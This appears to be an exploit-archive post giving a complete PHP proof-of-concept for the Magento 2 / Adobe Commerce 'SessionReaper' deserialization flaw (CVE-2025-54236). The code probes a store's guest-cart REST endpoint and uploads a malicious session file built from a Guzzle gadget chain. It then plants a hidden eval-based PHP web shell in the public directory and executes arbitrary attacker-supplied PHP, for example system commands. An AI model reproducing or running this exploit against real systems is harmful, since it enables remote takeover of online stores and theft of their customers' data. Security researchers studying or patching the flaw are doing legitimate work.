Magento 2 / Adobe Commerce 2.4.x SessionReaper
=============================================================================================================================================
| # Title Magento 2 / Adobe Commerce 2.4.x SessionReaper
=============================================================================================================================================
| # Title : Magento 2 / Adobe Commerce 2.4.x SessionReaper Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://community.magento.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212729/ & CVE-2025-54236
[+] Summary : This PHP script is a proof?of?concept exploit targeting Magento for CVE?2025?54236, commonly referred to as SessionReaper.
It is a PHP port of an original Metasploit module and is designed for security testing.
[+] What it does (high level):
Generates random identifiers (session ID, filenames, parameters) to avoid collisions.
Checks whether a Magento target appears vulnerable by sending crafted REST API requests and analyzing HTTP responses (400/404/500 patterns).
If vulnerable, abuses PHP object deserialization via Magento?s REST endpoint to manipulate the session save path.
Uploads a malicious session file using a file upload endpoint.
Triggers deserialization to write a PHP file into a web?accessible location.
Executes a supplied PHP payload by POSTing base64?encoded data to the dropped file.
Uses cURL for all HTTP interactions and handles multipart/form?data manually.
[+] Key components:
check() ? determines vulnerability based on response behavior.
exploit() ? performs the full exploit chain and executes a payload.
Guzzle/FW1 object serialization ? used to craft the malicious session content.
Randomization helpers ? generate IDs, filenames, and parameters.
CLI usage ? allows running the script from the command line with a target URL and optional payload.
[+] PoC :
# For testing only
php magento_exploit.php https://target.com/
# For execution with a custom payload
php magento_exploit.php https://target.com/ 'echo "Vulnerable!";'
<?php
class MagentoSessionReaperExploit
{
private $targetUrl;
private $sessionId;
private $sessionFilename;
private $exploitFilename;
private $postParam;
private $formKey;
public function __construct($targetUrl)
{
$this->targetUrl = rtrim($targetUrl, '/');
$this->sessionId = $this->generateRandomHex(32);
$this->sessionFilename = "sess_{$this->sessionId}";
$this->exploitFilename = $this->generateRandomAlphanumeric(4, 8) . ".php";
$this->postParam = $this->generateRandomAlphanumeric(4, 8);
$this->formKey = $this->generateRandomAlphanumeric(8, 12);
}
public function check()
{
$randomPath = $this->generateRandomAlphanumeric(4, 8) . '/' .
$this->generateRandomAlphanumeric(4, 8) . '/' .
$this->generateRandomAlphanumeric(4, 8);
$cartId = $this->generateRandomAlphanumeric(4, 8);
$payload = $this->buildDeserializationPayload($randomPath);
$url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";
$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json'
]);
if (!$response) {
return ['status' => 'unknown', 'message' => 'No response from target'];
}
$httpCode = $response['http_code'];
$body = strtolower($response['body']);
switch ($httpCode) {
case 400:
return ['status' => 'safe', 'message' => 'Target is patched (returns 400 Bad Request)'];
case 404:
if ($this->check404Response($body)) {
return ['status' => 'vulnerable', 'message' => 'Target returned 404 with expected error pattern'];
}
break;
case 500:
if ($this->check500Response($body)) {
return ['status' => 'vulnerable', 'message' => 'Target returned 500 error with SessionHandler'];
}
break;
}
return ['status' => 'unknown', 'message' => "Unexpected HTTP status: {$httpCode}"];
}
public function exploit($phpPayload)
{
echo "[*] Generating Guzzle/FW1 deserialization payload...\n";
$phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
$guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);
echo "[*] Uploading session file with Guzzle payload...\n";
$uploadedPath = $this->uploadSessionFile($guzzlePayload);
if (!$uploadedPath) {
return ['success' => false, 'message' => 'Failed to upload session file'];
}
$savePath = "media/customer_address" . dirname($uploadedPath);
echo "[*] Triggering deserialization...\n";
if (!$this->triggerDeserialization($savePath)) {
return ['success' => false, 'message' => 'Failed to trigger deserialization'];
}
echo "[*] Executing payload...\n";
$encodedPayload = base64_encode($phpPayload);
$executeUrl = $this->targetUrl . "/pub/{$this->exploitFilename}";
$response = $this->sendRequest($executeUrl, 'POST',
http_build_query([$this->postParam => $encodedPayload]),
['Content-Type: application/x-www-form-urlencoded']
);
if ($response && $response['http_code'] == 200) {
echo "[+] Payload executed successfully!\n";
echo "[+] Response: " . substr($response['body'], 0, 500) . "...\n";
return [
'success' => true,
'message' => 'Exploit completed',
'session_id' => $this->sessionId,
'exploit_file' => $this->exploitFilename,
'post_param' => $this->postParam
];
}
return ['success' => false, 'message' => 'Payload execution failed'];
}
private function check404Response($body)
{
if (strpos($body, 'no such entity') === false) {
return false;
}
return (strpos($body, 'cartid') !== false) ||
(strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false);
}
private function check500Response($body)
{
if (strpos($body, '500 internal server error') !== false &&
strpos($body, 'sessionhandler') === false) {
return false;
}
return (strpos($body, 'sessionhandler::read') !== false) ||
(strpos($body, 'no such file or directory') !== false &&
strpos($body, 'session') !== false) ||
(strpos($body, 'webapi-') !== false);
}
private function sessionSaveDirFromFilename($filename)
{
return $filename[0] . '/' . $filename[1];
}
private function uploadSessionFile($content)
{
$filename = $this->sessionFilename;
echo "[*] Uploading malicious session file: {$filename}\n";
// Create multipart form data
$boundary = '----' . md5(microtime());
$eol = "\r\n";
$data = "--{$boundary}{$eol}";
$data .= "Content-Disposition: form-data; name=\"form_key\"{$eol}{$eol}";
$data .= "{$this->formKey}{$eol}";
$data .= "--{$boundary}{$eol}";
$data .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"{$eol}";
$data .= "Content-Type: application/octet-stream{$eol}{$eol}";
$data .= "{$content}{$eol}";
$data .= "--{$boundary}--{$eol}";
$url = $this->targetUrl . "/customer/address_file/upload";
$response = $this->sendRequest($url, 'POST', $data, [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Cookie: form_key={$this->formKey}"
]);
if (!$response || $response['http_code'] != 200) {
echo "[-] Upload failed with HTTP code: " . ($response['http_code'] ?? 'No response') . "\n";
return false;
}
// Parse JSON response
$json = json_decode($response['body'], true);
if (isset($json['error']) && $json['error'] != 0) {
echo "[-] Upload failed: {$json['error']}\n";
return false;
}
if (isset($json['file'])) {
return $json['file'];
}
// Default path
$saveDir = $this->sessionSaveDirFromFilename($filename);
return "/{$saveDir}/{$filename}";
}
private function buildDeserializationPayload($savePath)
{
$payload = [
'paymentMethod' => [
'paymentData' => [
'context' => [
'urlBuilder' => [
'session' => [
'sessionConfig' => [
'savePath' => $savePath
]
]
]
]
]
]
];
return json_encode($payload);
}
private function triggerDeserialization($savePath)
{
$cartId = $this->generateRandomAlphanumeric(4, 8);
$payload = $this->buildDeserializationPayload($savePath);
$url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";
$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json',
"Cookie: PHPSESSID={$this->sessionId}"
]);
if (!$response) {
return false;
}
return in_array($response['http_code'], [404, 500]);
}
private function serializeStringAscii($str)
{
$result = '';
$length = strlen($str);
for ($i = 0; $i < $length; $i++) {
$byte = ord($str[$i]);
// Keep printable ASCII except backslash and double quote
if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
$result .= $str[$i];
} else {
// Escape as \xHH
$result .= sprintf("\\x%02x", $byte);
}
}
return "S:{$length}:\"{$result}\";";
}
private function buildGuzzleFw1Payload($targetFile, $phpContent)
{
$escaped = "{$phpContent}\n";
$setCookieData = "a:3:{" .
$this->serializeStringAscii('Expires') . "i:1;" .
$this->serializeStringAscii('Discard') . "b:0;" .
$this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
"}";
$setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
"{" . $this->serializeStringAscii('data') . $setCookieData . "}";
$cookiesArray = "a:1:{i:0;{$setCookie}}";
$fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
"{" . $this->serializeStringAscii('cookies') . $cookiesArray .
$this->serializeStringAscii('strictMode') . "N;" .
$this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
$this->serializeStringAscii('storeSessionCookies') . "b:1;}";
return "_|{$fileCookieJar}";
}
private function sendRequest($url, $method, $data = null, $headers = [])
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
$body = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error && !$body) {
echo "[-] cURL error: {$error}\n";
return false;
}
return [
'http_code' => $httpCode,
'body' => $body,
'error' => $error
];
}
private function generateRandomHex($length)
{
$bytes = random_bytes($length / 2);
return bin2hex($bytes);
}
private function generateRandomAlphanumeric($min, $max)
{
$length = random_int($min, $max);
$chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[random_int(0, strlen($chars) - 1)];
}
return $result;
}
}
if (php_sapi_name() === 'cli') {
if ($argc < 2) {
echo "Usage: php " . basename(__FILE__) . " <target_url> [payload]\n";
echo "Example: php " . basename(__FILE__) . " https://target.com/ 'system(\"id\");'\n";
exit(1);
}
$targetUrl = $argv[1];
$payload = $argv[2] ?? 'echo "Exploit successful!";';
$exploit = new MagentoSessionReaperExploit($targetUrl);
echo "[*] Checking target: {$targetUrl}\n";
$checkResult = $exploit->check();
echo "[*] Check result: {$checkResult['status']} - {$checkResult['message']}\n";
if ($checkResult['status'] === 'vulnerable') {
echo "[*] Target appears vulnerable. Proceeding with exploit...\n";
$result = $exploit->exploit($payload);
if ($result['success']) {
echo "[+] Exploit successful!\n";
echo "[+] Session ID: {$result['session_id']}\n";
echo "[+] Exploit file: {$result['exploit_file']}\n";
echo "[+] POST parameter: {$result['post_param']}\n";
} else {
echo "[-] Exploit failed: {$result['message']}\n";
}
} else {
echo "[-] Target does not appear vulnerable or check failed\n";
}
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================